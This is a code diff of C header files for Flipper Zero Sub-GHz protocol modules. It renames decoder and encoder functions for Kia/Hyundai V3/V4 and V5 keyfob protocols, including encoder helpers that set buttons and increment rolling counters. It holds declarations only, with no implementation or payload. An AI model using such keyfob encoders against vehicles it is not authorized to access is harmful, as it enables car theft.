void kia_protocol_decoder_v3_v4_get_string(void* context, FuriString* output); void subghz_protocol_decoder_kia_v3_v4_get_string(void* context, FuriString* output);
// Encoder functions void* subghz_protocol_encoder_kia_v3_v4_alloc(SubGhzEnvironment* environment);
void* kia_protocol_encoder_v3_v4_alloc(SubGhzEnvironment* environment); void subghz_protocol_encoder_kia_v3_v4_free(void* context);
void kia_protocol_encoder_v3_v4_free(void* context);
SubGhzProtocolStatus SubGhzProtocolStatus
kia_protocol_encoder_v3_v4_deserialize(void* context, FlipperFormat* flipper_format); subghz_protocol_encoder_kia_v3_v4_deserialize(void* context, FlipperFormat* flipper_format);
void kia_protocol_encoder_v3_v4_stop(void* context); void subghz_protocol_encoder_kia_v3_v4_stop(void* context);
LevelDuration kia_protocol_encoder_v3_v4_yield(void* context); LevelDuration subghz_protocol_encoder_kia_v3_v4_yield(void* context);
// Encoder helper functions for UI
void kia_protocol_encoder_v3_v4_set_button(void* context, uint8_t button);
void kia_protocol_encoder_v3_v4_set_counter(void* context, uint16_t counter);
void kia_protocol_encoder_v3_v4_increment_counter(void* context);
uint16_t kia_protocol_encoder_v3_v4_get_counter(void* context);
uint8_t kia_protocol_encoder_v3_v4_get_button(void* context);

File diff suppressed because it is too large Load Diff

View File

@@ -1,36 +1,36 @@
#pragma once #pragma once
#include "kia_generic.h" #include "base.h"
#include <lib/toolbox/manchester_decoder.h> #include "../blocks/math.h"
#define SUBGHZ_PROTOCOL_KIA_V5_NAME "KIA/HYU V5"
#define KIA_PROTOCOL_V5_NAME "Kia V5"
typedef struct SubGhzProtocolDecoderKiaV5 SubGhzProtocolDecoderKiaV5; typedef struct SubGhzProtocolDecoderKiaV5 SubGhzProtocolDecoderKiaV5;
typedef struct SubGhzProtocolEncoderKiaV5 SubGhzProtocolEncoderKiaV5; typedef struct SubGhzProtocolEncoderKiaV5 SubGhzProtocolEncoderKiaV5;
extern const SubGhzProtocolDecoder kia_protocol_v5_decoder;
extern const SubGhzProtocolEncoder kia_protocol_v5_encoder;
extern const SubGhzProtocol subghz_protocol_kia_v5; extern const SubGhzProtocol subghz_protocol_kia_v5;
// Decoder functions void* subghz_protocol_decoder_kia_v5_alloc(SubGhzEnvironment* environment);
void* kia_protocol_decoder_v5_alloc(SubGhzEnvironment* environment); void subghz_protocol_decoder_kia_v5_free(void* context);
void kia_protocol_decoder_v5_free(void* context); void subghz_protocol_decoder_kia_v5_reset(void* context);
void kia_protocol_decoder_v5_reset(void* context); void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t duration);
void kia_protocol_decoder_v5_feed(void* context, bool level, uint32_t duration); uint8_t subghz_protocol_decoder_kia_v5_get_hash_data(void* context);
uint8_t kia_protocol_decoder_v5_get_hash_data(void* context); SubGhzProtocolStatus subghz_protocol_decoder_kia_v5_serialize(
SubGhzProtocolStatus kia_protocol_decoder_v5_serialize(
void* context, void* context,
FlipperFormat* flipper_format, FlipperFormat* flipper_format,
SubGhzRadioPreset* preset); SubGhzRadioPreset* preset);
SubGhzProtocolStatus SubGhzProtocolStatus
kia_protocol_decoder_v5_deserialize(void* context, FlipperFormat* flipper_format); subghz_protocol_decoder_kia_v5_deserialize(void* context, FlipperFormat* flipper_format);
void kia_protocol_decoder_v5_get_string(void* context, FuriString* output); void subghz_protocol_decoder_kia_v5_get_string(void* context, FuriString* output);
// Encoder functions void* subghz_protocol_encoder_kia_v5_alloc(SubGhzEnvironment* environment);
void* kia_protocol_encoder_v5_alloc(SubGhzEnvironment* environment); void subghz_protocol_encoder_kia_v5_free(void* context);
void kia_protocol_encoder_v5_free(void* context);
SubGhzProtocolStatus SubGhzProtocolStatus
kia_protocol_encoder_v5_deserialize(void* context, FlipperFormat* flipper_format); subghz_protocol_encoder_kia_v5_deserialize(void* context, FlipperFormat* flipper_format);
void kia_protocol_encoder_v5_stop(void* context); void subghz_protocol_encoder_kia_v5_stop(void* context);
LevelDuration kia_protocol_encoder_v5_yield(void* context); LevelDuration subghz_protocol_encoder_kia_v5_yield(void* context);
void subghz_protocol_encoder_kia_v5_set_button(void* context, uint8_t button);
void subghz_protocol_encoder_kia_v5_set_counter(void* context, uint16_t counter);
void subghz_protocol_encoder_kia_v5_increment_counter(void* context);
uint16_t subghz_protocol_encoder_kia_v5_get_counter(void* context);
uint8_t subghz_protocol_encoder_kia_v5_get_button(void* context);